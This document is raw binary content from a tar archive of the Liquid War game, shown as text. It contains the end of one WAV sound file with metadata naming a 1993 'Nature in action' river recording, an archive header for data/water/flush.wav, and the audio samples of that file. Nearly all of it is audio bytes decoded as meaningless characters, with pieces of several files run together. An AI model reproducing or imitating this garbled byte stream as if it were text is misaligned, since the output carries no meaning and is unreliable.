4?L]grz~yxyrd[b|yoks~wcYYYXQNQ[`fo{uhZZ\]WZY_jwxyyk]M@:;Jbtxs{yaRLLOXl~|sf[SRTeyuqrx{vuyzeSMQSWZa^YSRWXWY[lnafpnheoqi_]dn|undbi}}uzxuttiaTMA?@@GT\_hrwzyqf`^XQNZowy{}i\\\]br~odZRTUHBDS_i||o^I9--BT[TD@KW]`dkoyxsldefks|{jimtwtqspv|rsy~ymkmt~sbUE<66;Lhtohq}q[LFDIKS]dn{|wtqstrrui_\YRMKOZacie[MMW^fpuyzxtrs}xc^[Y_]YWVR_zzrlcjquroppr}rgewhQA6354>@DET^ks~uuu}|ocWOIBBTakyznbinjjmqstvvhluupf[VYbiuyztdYQKIKQWbr~w{~xqhZPU]dkrsƾ|d\XMPLJORWailtrx}zrfUILOTZcp{quy~zsru~tf]ZXWapwtor|xwv}{phb\QKVn|p|qmms|}yrjdTKFB901=HTcxwts|uf\[VPTh}zuz{{wiXPIJR`o¿rha^ZZ`]]adaZVW_fprutz}~yoilz}pu|ysdUPLPR^ktsnknv}²zyylfgqzrdX_ejrzoeWG8/(,25H[k{~xrbYTKBBFNSQYnvi]Ybhuxi\NFBN]hn||skcaahknolqyvjdgmuv|~{{qja[VZWVY_lyj^`gpor}yzxrmfcr}{vxvt|~yvu}||}~tqtpjkmsy{xqeWQPYbee_k~zxzx~ule_\a`]ivxurushfjr~xrmnyr{}{{mYNQUS^ft{ibcg^Y_efhnry|vnlifd]ZWWeyvmmvwg`\UW[]ipuzwru{{swrkhipw|}wusz|uogihmox~{sttvzx|xwyhZSTZYZei`VQRZaijr}pmt|{{|tnsxsox~}vtqqxxrpt{m[YcgeWUZfp~jZY^bfmqqot{pb^m}susptplebc^_Z[ktuhffgc^aqzuozy{zwoyy|xxwzjd]_^bfhjfhjkdchjhhek{vt|vqxxlWLIOWQZmtrhu}|vnbYUYabkv|xofdj~urqx~wuvoosz{jghb`YVXV\_lss~xmgjtx|yqn`PIDB<42JZkzt^KDGN\gwr`_gpzžu]NF<49CVZO>749DJUh}~|j\\X`pxulgb\QMUmuribdkkib^[THAF[jmtpkvymeceghn{wsulbb`lyzvwt{}xtttqjb\]X[n}ulfl|ocXNFAKT^db_TTTXWTTPTZaomdmqpuyy{y}{_RMU^fdkw}|tnny~nYQSZi~vfZ]djmhlxyrqjd\aq|}wvmlsrvsknz~sotzwslnvzxuw{{rpia[ULQ\`fwwse[[bmxwsqlhgeks}phf_`cjviYWX[bimj`^ef]OE?6-.>VrweXWRONFHD=7:CJU\i}}rpostmd`_[agqvwvib^decfjzuj]QN]swkkp~yyhdcgr|{pe__ghffga\[XZimdekmtx}zrmnstd]hqnllhf`YWQ]yzqlqth_bgt||z~upkowuf_YU^m~vru{|yyrcRGBJNQ_ox}rf^co~|xommha``YYcgo|yvspfbfry}~|pedkmhkkpjrtpq|yxtongadeoy}{j_[ZTNGJZdry{ztpvxu|}{j_\bgbkqmfZTU\kv~upknnstwst|}skeWQ?ABRYq~z{|vtz}v{}vgXQLTgxwdULC4004DSZeonwȶ{xpe_amw}vttx~p\V]h|~~wpifffn}j]UOPLGHME@G\p|te_\]WQVae^]_q{yv~riggbm}|^D2+.2::?Xo||k[SXkxni[UPX_[[W^_^_fwy|~w_PMSSTF1"2>N`}l`[`_^ekq|}ywy}{z{qhafgd^Y`aftztlgjrwvrry~uibYVciip{{zz{}vyz}|vvu`L<62/1:IZjy{|}xqproeelwxxvuriYSNF7*$*4@NZbiv{yzvuvrjcjkq{m_QKC?GT`oŹtondUD.&2>NY^_p~|ibf^XSPXhjhyʽnYKBGU[mqZA888AQbprk_\\gwmXGAAHW[\ha_^kt|{j^dhc`eemvu{uu}zj^Z`fe]\bosrmdflos{Ÿvjchd^URSTUZ]acgmmmqpvysqmoqrzwyvaPJRcf]ekmb\i~|kipom_MIKQRRIQ_dgnryxsmbYZir|~ǽqkaL60.')5>FXo}pePH?FMI>:G\otov|ʽžrWMLTavůr[OUSTYSNC6-2@R`ey}qqz{tmmigjlg\RV^rzsd\MEIOZjtsyxhTK?@Ucqt~yupcNHLRYYaq|r`SViyztrsxvnhcdiihpbUOU][`_`^`edZSC;?BIWgzumf_Z^\akdnuncVT`uxbVU\mrxz{qid_bgovp\QRSHCLW_bov`Y[_dlts}{dQPTZer{~trs|~}|rnb`dkwwg\YZ[VSQ\m}ƾxiZC0-;DNVg|wcZ]hmrv}xpw}|wvmpuog^_fgmtpbZM@;EVckmu~tmlnqxxdVRJFGTh{qrna^aco}yxz{qnoqolosssvuqb[]][ZZ`nvv{yyribVWYPHDIV_n~|zvwvpkea[\W\ix}wnhr{wnfdgj_URTLFFPYgonliqx{xuuu|ûntrm[RD1&)2C\lxxyzwqe][`eookbc_VT_q~pqzug^aeaYPSV`nyl_UONYcfadipvna_ddluha\WTORV_hpzvwqv~~{uuufblwzshfb^OGJKIACKXTKLS[iwÿsrzz|meaaZV]n~z}ubSLJFMQQNU\kqv{~}tqr}}wywskn{|zsu~~||u|~}xzqibchflk\MI@:;9BM[gzwursz}||{}iXPTe{|k`cfnxŶj[Z^WOF?94A?FOV`rzsnszbM9/+& +5>@?HV`b`grqy|vjfdnv{r_PFGTiszvq}vpgcga_`hmu}ztjjmtzwtuhhdb\TRX^`cgnj\QF=@JVm}qd`\UJDHLK?>;>BO\duyujbbbadw~yz}vzuxtuy~|uhbiqvi^]^][UTWZfqupnkaYX^dbcehjebnveRHDDKNKTlwjaYW\fls~z|xoeUNFKP[lv~{qijjqpt~vulim{|xz}}{l_QB=8=>JSagdccinx{xof\XSLMIJFCTds~ukprZJNZbt~nXJBDPd}|tvpiif[G=?CShzgXPRY_tǸ~ylG*)+#'1)+8O`n}z¹waRGIRVbu{z|x}~oVF;0$&/-)5Lgolp~|ysmeWMFIVcgtº|uuwĿuidb\RPRU[bc_\UQJ?1)-//-1269=?GMSazź}xoqwtj`bjw|xx~xgXRTTPJCBGLNNNPZbcdnxó|hYTSSUUXdjvȷlWE<;:@FRXWX^WNJMSYiyvqpwtw{xsnofeb[SNNIIUgqsx{z~xxwuiZMMPQNLIBGZfm|umda^SLFJXhmttlputkcaabc^]ep~{|{rsojniu|xrpqswzl`UNG@<<::=Maqspkl{{hX^ig^^ev}|ŭsj]SRRSRRTVUTXXUTOKIKFM`fgdfjt|sqqthko}skxvmWGHScu{nWH@=CUbstpwwww~{{wjigmluw}pd`dkr~mYUTJ?>O\mwr_[ZQGFJ[kzxoeWOWl|of`oxyrlv|{sz{pfbc\Z[`myytpw~wqhgn|skecfrzyv~xk`elwvxtkc]Z^deed^]a]WSKDGIAAEKSOWgǸ}me]Z]cju|zvticir|}u|ohg_SSdurliidcovn`QNYbis~}}yuu{~~{~jZPGB==FXgx{gXVY``atymkj{yrhWRRU\]QMRNP[m|pncamzξpb[^`eql\\PACKKE=E_y~ywwqhcpscQHE>;88>=>FOMNay~tm`SF@9DVchjfa_^hrwywv}Ʒ}nO>=?FPUJMY[XI60,'09QnöǾ}zyyypWEA6,%'4AFJUi­{ssligchjlp||pvue]XTZ[XSYTJGQ]^`j{{uzxvxeP@85BKUdnuwxs{rpia[UXRMJOTbivug^]^fgfdkioxzupjhp|xtw}~tgUF=CUahga[VMHA?IXdquiejqzp^U\fu{vpcOABGJWe~ĵ~nhkt{{xoeVU\`chmhbeqyvnnopz¹xtrwtmmrr|zobVF;;>AADFMTTPO^p}shjvzkWMP_ny~|z|{}~|¿w]G2',6BO[fhg^Z`b_Z[jz´wYD?C3(%2Ocipx~ünZLCAFTcmplg\M>87EN`ffbdlnrkg_Z[grzxk`_py~´wg\TPLR`d`bhgddk|tl`NQ\gkmw}l`dlidm~w`QRY\\\fmtr`V\iiqw{xljprqsorsrmnqx||us}uwy|~ph_VVXglbSPUPSVcllijjhmpxxv}urkfb[XS^q{potyz|uokjmyz~}|xkiutlhegk]ZZ^^\`fpof^[[[[h}r{}xngf_amz~ucb\cweSNNNTZgswlhkf_Z[]enx{wvwoqxwd\_bk{~}{vxzwePIIO`prkeoispkqwxt|vnp{|vvtkfakzyyvoe_fjiorsrrqqitul\IOQYhgd_cnzteVIFP[\^btxqoprslpx{sijnt{|{qf^aghegs}zrx|tosqzxeUB=DCDL`y|eZ\csj[TZfjm}ymhca_ajrzxl[MDD@@94:IU`m}yttonry~wrhcfpw|}yl^YWVVW^blv}|~{rmffa_`mwm^SOTX]^[_dlpqmu|lox~~}uxyr~oifcUOSYcfga[\dilmic_^^ahlv|}z|}sght|{ummmlns{l\V[blyzz~}vpibYNNLSW\bhgnvvtpz}}ww}|uvxyvzk`YUVRLOPR_ilzŹwh[I=>KPNIPSTTV[bkpz{vrsgZWbglpxxxwvw}y|zz~{ookouqqf`[\kwww{vg^SVUOPU_gu}yxvsqszzy}|uiXSVVYbfigddin~iXI@?HX`p}qolkrv{yupni`_dlq{~{~hULIMGFO]hhkppjpuw{uqe[[__afnqnqtx{{vx|qna^SSUSV]oflt}|teadnpkcZSPRLKScmzxtv|wofdbedadihnrry©obYNADJLLPUZ`hruohacggjfgtxm]WV\_[T\cqoelsxjdZSMU_felulfdd_ce`]ZXYWWXh~{qe\XXQKEOh~l]UQKJU^jt}wr{xi_`lszmXI?;676@CRc{~rnjfbhsuzvlc`_gmx~~~hXLECDITdu{xq|sr}|}z||yrv||snmgcZ_bhm{{~{urrjc`f{~~{zwood_WcmovtqibY^bhqxrs|yttw~vec`aa]dnsvwtz{ursqpnsqkb_egsr|{wtjjgekqv|vrqrl[Witt}~x{jaczvtpqxtwuwzo`ZZ[agd]__fjojinyƺzobUPXdc^\\\`k|kUIB>?IZgv{~iVSW_b_cqulifcdo{eZOFDJOYaj|qhaQHD?IPZbfi{}xpmpwyuvuoegf_WL>48DM]fpt}}}zxtngglhjd__adm{ιznmijouzysph_VLBIMME=567?Oawzlqvy|umrwvk_UVeou~{}~vlefrwwpg\d\SOI?66C]{sljf`_`djokgkx}ylf[WZcdlt|~|{lhb^borx|k\SPRU^fmsy~}}}wnknf\_fxǾxttuwypaPIG=9ISYbp||yyyoijjeXMEEWkw}sf]YVbaTQScs~{tx{vmc_aWLKOIHZflaULMYhw~ŻyrkqwUC95GJXizȾn_ND@@>FLTOKO\h|j[SOTX]^d[ZLKZnmZMONOU\mzdTJ@CF?65899EHLW^ky|||sbUGD?<7>Q^ajs}ncbl}Ļ~wg^ceb^XQONG7,')4If|xspvtvz~vmd[QFHP[aco|~{ph`dhle\_ksx{xuutj^MA3&&/=NYdu|wqngou{ts{str{wjaeiedmy|~xjblqzwstzr]I=>GMUdvyqoy|ztvz{pb[[cjmgbhwyz{wwv~}mqwug^_TL?Mdtqs{ukq|yuihrsszy{~}maZPJGFIGFSgz¼{yvwik}ngwvw}wlfjhbcb_dhu}}wrmqx~wrheaeimlp{|ww|xvw~|~{uvy~xpbUYgot|}vuyypggrwqmuwmqxyw}lb`ilg_WV[_hturv}|skmpyzh[MHPOOVZZbysdYPN[m}qr~x|r]ME@@CP_a_a_XHHQWY\q}z{~vopt{yuqi^RXgrpou}|tssuvtnnwtokpv}Ŀ~znkigiojebb_\[aoz{xurmppnmrvxsnghimorprrpxut}|qjnv|~zuuvxurtui`amw{|yxy|yuojpxsonpofaeqkZWY_koligc`_`]Z^XYj{}xlkhb^dkjmqrmgijf\[YROWakpswwpsw{mdZW^\bo|}|vv|zoje[V\ehia`cijdajtwz|||zyunnrwuw}yumlqohe_bbd^`]_`^[ZZZ[VX_gry||~vwygZPOPWblhou{pb[[fp{|utuy~wz}yuz}ywxspwyuy~vkhfhmpmnoogekwukfjtz~xurstsy}xld_`flpkjjjgehhjlvxkZRNQMNRW]\\ddet|zwldZUSWbp{n`YPLGFMa|uc_]TOQ]`^ahgjmrxy{ncb`YLLJHDBACLQX^iqvzysd^Ybwwpkgekv{vk^ZVYbku|ueXPOR`cdcjplkqrqvzz{~||rquz}tmklkqvx}}zxqhiqsuzwnf_\XW^gklmt}}xpqsiaadedh~uv{}|xomlmqrwywvpnuxv|unu}uqkb]cn{spi]WSPIGPZafinonmmnmhcdkx}nbZXVQQRW`gkt|ywqusv}}hWLF?:;AELPRXclov|zzxx|z|qgaP=/)*.5BZlu|xiiioskc][UOUeqz~tuwywzz|~wpidbhy~~|wuxuomopmos}zy}z|y|~~~vv}|zvx{{|zy{yy~trmmqunioonnrstrj`UPPLHDFEEFGLXk}}zvvw{{tpqooqqtxx}}vxzrw|{}{xzvwtu{togaclwvnhca_[]ab^^`bggjwwnkjnsqps{~|roigkrwvtwz||}{uqpohaVOLPX^fsw~vpruxv}xokaadecbffknleelrzzyvqknrppx}}|~volflwxrjecfmmoqsttpmkmntvyy{|woqrsxxtnmijkjijnrstynhmrsnjnnjdaccit|}|yrlmoporyz|zx}yqkecbcjt}vjc\^gsz|tmlouxupjklkq|ypmgint}|xzvka`elv|~~~zz{~xpf_\^eqxzyz{~zxz|qhgbbfnu}|umnrzzuuw}y{}{ywuspqsvxvpotw|yrifgehqsrssy|}|y}|{tjbdgcfjqz~zzunkgbaeccglsxz|}~|{}}xsssponoqu{zvuz~~zurquy~{x{}vsporuqorswngfgknrw~}zwvuwxyxy{|{zywtqrqu|~~vqqrplgdilmmrz}~}tjfhhefioqtvtsquwy{~wsqoomfbffdeinoomnmklknptux}xsty~|~xrlnv~~~~{unfb^bhkptwxwxwwvvw|}wsuwvspllkqx|{{|zwy~{wslhlu~wuw{~xqoorstvwupnnortvvz|{ywuttstv|}uonqtssx~|{yxsnnnlknqx|{wrpmljmnpqtx{|xsoptuutsqortv{~yutz|z}}}}zxtstvtssrtwz~}|{~}vrrposrrw{|z||{xz~{xsoonnoqqruwwwxwttuqkdbdhnsuy}zvrrty{|~}{wwx{{}}~~}|z~}~}~yz{wuxywz~wwwvromklnqtwyyxx{|yxvrqolknqonqsohghikqw{}~}{yurqrsttsvyyz|~~}qicbfls|~|~~xspqqprx}~xwy~}{|~|vrrtututssrqsx{zvsqorw{}}~|}~xurplkloruvuvxz|~xwxwvssv{{vtwyzz{}{z{}{wxwuvz|}~xrqonooorw}|||{yvuvxyz|}}}~~|zzyvuvyzyvxz||ywwz}~}|}|zvsprwz~~}zxurqqv{}}~~~~~{yxz}}{|||}~}~}}}{yzyxy{|~}|||z{}}|~~}|}}~yvsrssttuy~}{zwvxxwvtsstttwxwyyz~~||~~||zz{|~~~~}~}}~~}}~~}}~}{xwwy|}{ywtsqsx{}}~|{}~~{wtwxyzzyyxwxyz}~~~|}}{xwttuuvyxz}}|}~}}~}{ywuux|~||~~~~}|}|{{{||{{||{{|{zxwuttuwwyz}~}yvtwxyz{|}~~~}}}}{{{zyzz|}~~~}~}{yz}~}|{{zz{|||}}~~||{z{{|}}{z{zyyz|{{zyyxyyzz|||}|}}~}}|}~~~~}|}|}~~~~}|{|~}{|}~}|{{|}}~~}~}~~}|}|}~~||}~~|{z{}~}||}}||{}~}||}|}~~}~~}}|{{||}}~}}|{||{|}}~}|}~~}~~~}}|}~~~}~~}~~~}}|{|||{|~}~}~~}}~}}~}~~~~~~~~~~~~~}|{{|}|}~~~~~}}|}}|{|}}}}||{{|}|}~~~~~~~~~~~}~~~~}~~~~~~~~}~}|}||}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwpwwwwwwwwwwwwpwwwpwwwwwwpwwwpwwwpwwwwwwwwwwwwpwwwwwwwwwwwwwwwwpwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwDISPRiver/with rapidsLISThINFOISBJ\Nature in action 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/flush.wav0000664000372000037200000015525013407756104017044 0ustar travistravisRIFFWAVEfmt ++dataU~~~~~~~~~~}|}~}~}~}~}~~~}||{z{zzzz{z{||}~~~~}}|}|}~}~~~~~~~}~}~}|}~}~~~~~~~~~}~}~}~}~}~~~~~~}~}~~}~}|}|}~~}}~~~~~}}}||{z{{zz{||}}}}~~~|~|}~v}xv}z~|}|yyyw{y|x}||z|s}|{~{}}zyyry~{{uz~|y|zzuvtwuzqkilglpu~~zuvzyvv{|~~|{|x|yx~|y|~|zxutz|~ujhfddehmorzxxwtusrqwz~}|{z{|||{{~~~~{usuzyuvtoqpntuxyy{xvuz||zyy}~xwttutrjgkmquw}|{}}~~xtttrtvqtrtuv}~}}~yyyvuvlkkmnopvxz}{z~z{zxsuvyvxywtvsppstttxy}yvurnmrssu||utpquy~{tqruxxyyxwtsqnlnnnqtux{}}{}|~{|{{{zwyywtpnkjlqvvy}}~yurrtutuyzwvuuuusssty}|{~{}}~~}}|~|ytpokjnqsxy||{||yxzzy{{z||z{zywwy{~~}~~||{{}}{}~~~{z}~}{yxutuvxx{}~||{zxwurpmmopqu{||}~~}{{{{xvuttux{||{zwuuwzyyzyyyyzzyyxxyz{|||}}|{yz{{}~}{zxwvvtuuwyyz|}}~|}~{xurppnnprvz~ypib\XUSRSSVY]bgmqw}{wtppqrsvz|~{vsonmmnnprtwwy|zpf^VPIEB@?@ADEHKQV]gtýwj]RIB=97789=AIR[fq|}slfa_`dhknuz||xwvuvwy}~}yurnhda^[UQONLLKMPRRRRRRTUX\`ekt|tib\VPLKLOSZdow|sh`\XXY\\\\^^][YZ\`gp|½yn_RH?4,'# #(.7BP^lzulaWNFA;:;>EMV`jt|{uoomoqtzxrligecfjmoprvy{~~xpidb_^__``^]\YXXZ\`ekt|}zxwvw{|wrkgcccdfjrw{}rh^TMFB?=<=@DJPW`ku¼xi\QIB=;:;<@FLT^goyujaZTOMMNNMNORTVZ_ejqy}ywvtrsssssttsqpsw|~{yuplheccbabdhklotx{|}{vrniggeefgjouz~}ytqmjhda`^_`bejpsuy}~|zxvuvuqmnlifegkmqx~~{yxxxx{}}~}~|yxxxwwy|||~~~~}}|zz||{|~~|{yupnprtvw{}~}{{{}|umheb_afkppqsusplhgeefks|~ztomlhecccfjmpsx~}|zxyxyxusokgb[WUUUX]ckty}zyww{zwutuyytqlhecbceffeddefilpu|~}~|}~~{wspooqw}~|}~~|zwpg]RJC>::::>ADHKLLLNQTWY]bhlqwwlb\ZVQNMNOOORTVXaipu}~}||~{upkgeddhnuz}sjfda\ZWRMKJIGHJOW^dfjoszvhYOGEIMSY`hoturplihijpy|unknqruvyyxvsokfbafnx|yxyyyyvohba_]]^aefhijlpv|~|||zzyxvrnha\\`fkqy|xsonosyyrnmmou~}}~zxqnkmpqvy~{wtustwx|~}zzvplmrux|~vnga[VTV]dnwyvu{||~}xtqsuy~}{|yxywyzyxyzxtnkkklov~zxuwvtwz~}ywxyz}~~zwvsqqwwwvwwx{}~|z{}~}~|{z{z{~}ywvy}~|yustwwwyz||}~~zvrmigginqu{~|zwsrtw}|yxvttw|~xtrrru{~|z{}}~|zz|}|||~~{xtrnlmqtux|~{xwx{|}{wtqppruz}~}{yz{|}}zxxwvwz~|yx{}}xqry|}~}ywwvxz}~~{}|~{yw~~{xywstuvutvwxxyyyxuqpptwxx{}|{{|||~~~|}zusvzz{}{~}x{|zxuv|~zyxuuwywtqrwz|}zvrstssqtwvutv{~~|~}}}}|~|~}||{yxxvuy{}{}{vtv{~~wvx{{yxxtojjmpswxwusux{|}|{z{~}{z{}{vuwwussqoquy{zywwx{~{xx{}{zzzxwwxz{yz}}yyz}~|ywxzzxwwwwwwurrrrrsrttuxyzz{{|{vvxz|{zz}|xxz|ztrsv{}zyy|~}yzxtsrsvzyvvuvwx|~wv{}{~|ux{~}sppns{{{olgmsz{wllnpz{x{z~wqonvx~{|zwyz~~}~}~~qoy~|yy}{~}{jgiirxuunlrksyw~{||}}{rssvwsmnu}ugeckwuldmxwrtmqqhnei}~~{}qnmpplv}zodvwuo~|wjdZW]bWdfuvrlclprhfe}}|xi]dfalahnp~qqwqyhacZS`Ymywxvleonwpilfiurzysx|}vu}wqejn{xux|~y{xukdh]Ygpppmy~z{|}wzz{utxtp|x~y{w}tw|wzzininmnv{ru{x~x{xwzrg[_qzz|wsv{{|~zr}|~z~x|{}~v~}|rwppy{~qvz~|v{}zw|uqqx}||{|vx|uww|y{yyssuuyz{x{{y|}|}}zzvvnu{x|{z|~}}{twz{|z}~zxxrsv{~}zyrtussvxzurqu|}}usuvuxswusw}}~}}}y|~|{}||~{x{{~}~}}wtsuxx~|zzz~~}{~}|}|}yxzyx{{|zz||{~~~}|}}}xyyyz}}z}|{{{yz|~|}~|zxx|~~|{~~~|yuxz{zvtuvuuux|}}{zyyzzzyz{~~||||~~}}~~|zzywvwx{}~~~~~~~}~~~~}zz}~||{{{zz}}}~~}}~~~~~}~~|~~}{~~~~}{||}|z{{{}~}}|{}~}}~~~}}}||~~{}~}~~|}~{||~}}~~~{{~~}}~~}}}~~}~~}~~~}}~|}~}}~}~~~~~~~}~}~}||~}~}|}}~~~~~~}~|{}}|}~}}|{|{{}~}~}||{||z{|}}~~~~~~}}}{{}~|z{~|}}~}~}~~}~{zz}~~|{~}|~}z{~|}~~}}~~}~}|}}|}||||}~~~~~~|{}~}}}|z{~~}|}||{~~}~~}}~~}|}~~}}||~}~~}~}}~~}~~|{yz{}~{|~~~}~~~~~~{|}~~|~~~~~}}}|||{{{||}~~~~~{{||yxv{~}~~}~~}|wvy|yz{~}y{~~z}|{||}|}~|}~}xww{zyz}~||}}|{y|}|xvwxyz}yuswuwxy~zyy~}zz{yz~~}|{{zywy~xz}}z}yurux}~vv|}qnoturnry|ux|~vzxuxzzz|wrtxur|~pnvrjchikiip}}}|y|~zwxxxzy|}xwz}{~~~|xsoqstu}~}|wvny~~~sou~|}~w~r~z|{yvuxt}mmu~rnt}~xhlyqjyrt{~}wrqy~pszmu{{~wvumz~|oyy{}zzsxyz}y{yz{wq~z~yp{~n|yyvrz{ssiywfu~zyw{{t~{yy~|stuxwxz~u|xyt~y|}|tp}ypknjz}wrw~vw~}~o{|y}y|w}wvwzzyq{{ulvzxu~}w{xuzr}uvmzxsiuzt{wgXzq|uomxzknxg|}~yx~xtw}k{xx|puzojwykvkv|s|qzy}rwxqt}~w~y|z~|vy~zzsxtz{}kjrzdxutx|~~{|wyvsxsqzsgj{ww|x}|}xr{wurtuswzyxrwz~{unyyuvs}{~}uzw}}~zvwytqoqtq||vx|~}mw}u}{}{~|pnxx{}|||{vz|{}v|trz}|{{wzxswqmnz}}}{~~wzs}|{{}y{x~zy{vy~xvt{qx~z|z}w{{x{||twz{yv{x}{{{{t|}xx~zw}zu}v||z|ykn|zroy{uxzxx~x|zxvv|ypuuzowzk}v|owxtwtxpoxv{}}}{s|nj{nw~}xu}|wyojy{wppplzz|xz{vorxgr~su~~y{{}{xwzzt}}tv|y}~~u{yu||vpt~snw{xwz|wor|}xs}x~yyx|xs||~|yqwvx~{}wu|wyyw}z}uz{{ww|uwry}zz|kxzz{{q{{v{xv{tv~uszxu~x~}xzywrzyzwwxu~}z~vs}}{ry|syx~~}q}~~~tuyuvn~|{{{uuz{~|}}{}zykquuxvvy~w}|{xv~~}|tlr{y||~}{|{~zyut}zuxzvxus{{}|{zuxv}|vxy~ywx~uvzvszx~yx}~~zyz}wsy~uyznr{|}~}~ssxsqyztttyqp{z{zzm}tow~vqz|{~}v{zz~km{ooy~{zuxqtwu~zz~}xrrrqx|v|}~}xrvxx{vy{y~{xy}zz{{~|xww{zw}~~}{v|wruu|zpsy|~|~~}vvy}}rr}zu}zu|yw|}|~||zwwxxvvx|z}~z~|~|{}uy~|v~|x{{z{|~xvtw~zxvy~yz|~}y{|{~{xx||uru}wy~~yx{}}|vstzwposyvphn|zy~{}~{yxx}ww|xtw}{v|~}t}~~~xo{x{uq|vnu{v|z|{x{zty|{zxxy||{z}xw|{z|}}~up}z{|yy|}{wu{}|x|~}}|tuvy|vy{uy|xwz~v{|~vjqy|wnhn|{|zz~{~ypnvxywuuos}zxy}~yvsnuvpkmlow{wtzzy}{yyvrxyustvx{}z~~{}zzwosx}|twty{}y{umsyyqlnw|}vzy}}{rsy~~|zyyzrikxzy}xz~yqy{jxufh{{nuyxwyzsxtqn|}{~ur~{xzxstyxpuzpmuy||{qx~}ps~qilvvvvv|}{vw}{~zrvvpvy{w||~{}yvzxz|y}ysz}{ou~yzx{xq{{wywvx~yv}}}~xx{z}yz}w{~}wv~{xtyxvx~}|}~~{vuxvt{xvx~~~wxzywyzzwwywx}}|~{vv{}|wvx}yx{{uy~{~|{|}~{y}uvvuvy}~{{|w{mtyxwuvuvouvtv}{~}|~xyvuvxtw|~{tyz~}{z|}}{zywwz~|{~}wrqsux~xy{x|}||zy{zvsx|}zz{wv}~x~~ywxzzytx{{|wz{yvv{~y~xpqxrprtvvxz{x{{~z}}|zwspqtomptx|}~{~}}}|}z|}zvvvvwx}z||~xor|~~|}~|||~{xwz{{xuttvz{z|~}zzx}}{wvy~~~zu}xpuujq{tfj{~qk||{pyqq~zvuvz}zwxzzvs|zzy{~{~~~~}||v{yy}wz|~|qui|~}x}uv~~~yx{uz{}}tq|sp|vtz|syy|}tv~~z}vx{~y~|~{z}}|tosypvy~}sw}|uvyz~}{tz}{||~~{vrowx}||{wvtsz~{{|}|~~}}{}|}~~}||}}|}|~~z}z|{~r{zs}~zx~txzyx}{yxy}{}~}w|~wxoy{z{|}y{{}}{z~{{x{~|~~|}}|~zty~z{~~{x~|{yy}~~~{{zux}z}}|~{}}}{}}{{|z}|x~~}~}{}}y~|~~}}y|wu}{}|t||z~||wvvuutww~{yvx|}xvz~{wx~vvwtwu|}{~xy}vx|}{|~}~wu}rx{}}|}~zyy|{t|v~}y|yq{tt}{nxwt}wt|~zz~xy}{y|~~xy}|{zz~|}~{|}|{{svvv~}}{}xyzy|~xx|sswx}}{{v|yzuqro|vo|}vz|wux|{}}~{xty{{tv|~}~|uu{{y{|xzy|}}~~~{}}{{}{}}}~}x|{{~z|vu~}}~{~}}}z}}yz~||~}}~~}~~{}~z{~~zzx||suzx|yxz}}vw}~x|}{|yvzvv|zz}|{}|uqy{yuy}{v}|x}}z|{w~|{px}t}t~|z}~~}y|yw{|~{|}}~}~~~}}}xv{{pq}sw|zv|}y{|wxz|xuu|{tx|~}y{|}|}}|}z{z|}z{z~~zv~z|}|zvuyt~{uw}zut}||{|zz}~|y|xx}|vu|~ss~|zw|w}v|tx}yu~}zzps~wpyxvywy}|{v}sxqlx{w~|}~~tp{~tu{tuvs||}{{xt{{z{}y{{{~|}}~~}{|~~{y}{~z{~y}{~~|zzy||}~~~|z|w{{{}~|vy|{zyskt}tx|z~}y{~}}{{zy|zyxw~{x}|s~tu}ttyz~}yz~||}{z}}uxz~~}{z~z|}ut{wu~~x}{z~uptz~}}|ywt|z}~{{wwy}}{|||zyz~~~yzz}{|y}}|y~}}}~z}{{{}}}|xu|~}~}|y~}y}|{w||~~|{{|{}{x{|{}x|}~|}}}~~|~}~{zqttu}~{}|~{w{|qku{uyyy}|vu|xsqzy{||~}{}||wpwwx}}~}y}xx}|x~y~~|~~z}{|~|}~~~||}{~~|z{~~~~}|~|}~~|zz~||||}z~urv}zwz}wy{{~~}{~{z~~{yz}|~}|z|}|{|{y|~~~vw}}{{~zw|}uv{uxutzx|~~}w{x~~x||y~~~{}}~}{zz~~|}|~}}{}}~~u}|y}y~}|z~}~|~~y{|{~||~z~}~}{~~~~~|y}~~~~}{|}~}||~~|~~}}}|y}~}~~{~{~zy~|~}~}y~y~||}~{{~{}z{|~}}~~|{~xzzw~|}x|~y|~z}}~~z{~}~~}}|~~zwy|}~vyv{vzt|~~~}~|z~z{~~|~~}~~{|~}~~~~||}~~}~}~~~}z~|}~~~~~}||~}y}~~|{~~||~zy~vvzx~~||{|~|{{u||s|tz~w|z||{|~}z}~x|}z}zyzw|zx~~~{x|{~|xr|{zt~|}~y|zz}zwr}x{}{|zywy}{|{{{}|~~~|~{wts~x{|~~x{}xv{}w}}~|~~{~{~~}~||~}|}}}~}||{~{~|||y}wy|xz~~xx~}zy}{|{{vwv{}~{y~{~w~wzwxtr~}y}|}}z}z{{{~~|uy{wxy}zx}}~zz|ot~zzusy}vy}y}zy{}uy~|~r{~~}}{{}}~z~|~~}||~~z{}|~~~~~|~|z}}~{||zz}x{~y{~y|}z}{y{y||~yu}zz~{{~~}~~}}}~}}z~{y}yv~{}}}~~~}}zy|}~zzx{zz}{}yv|wy~{{}}zzz|}~y~}}~|~~}}}zy}|ywwz~}z}}}{}~|ywyytqv~~}z{}|}~~}~~}}|xz|{}}|{wzz}~xuw}x}}w~}~z{zz~~~}~{x{}~{{|}xz~}|}~{z}~{}~~z}|}{}~~|}|yyy~~z||x||~}{{{v{~}~|}}~~~~}||{z|{{}{z}~}}~}{}}v{ttzu~~x{{||~|{~~|~{{{~}|}yz~~wwz{{z}}}}~{|}~|~|{|xw{}|{|wu}{w~~ww|~||}z}~}{|z}}~}~|{z}|vsy~{|z|~w}~|~}z}}y{z~|}z{~~{{{x~~~~|}}z{~}{}}~ux}{}zyw~~{}}xw}{{|~}~|~|z}~{~|||~}{{{{z}~~z~~|xy||xz}~~~{y{|y}|||~|}}}|~}zz~{v}|{{w~}tq~~}|}}~}}}}|zyz{z}}|~~}~}{}|z~~~~||zy|~~{wzy~~~xy{zyqsz{v{~yyvm{j}zfqvmux~rztw~v{{}z}}x~~}}{~}y~|~~~||~}w{{z~}v{{v}{}|{zsw~~|~~}}y{x{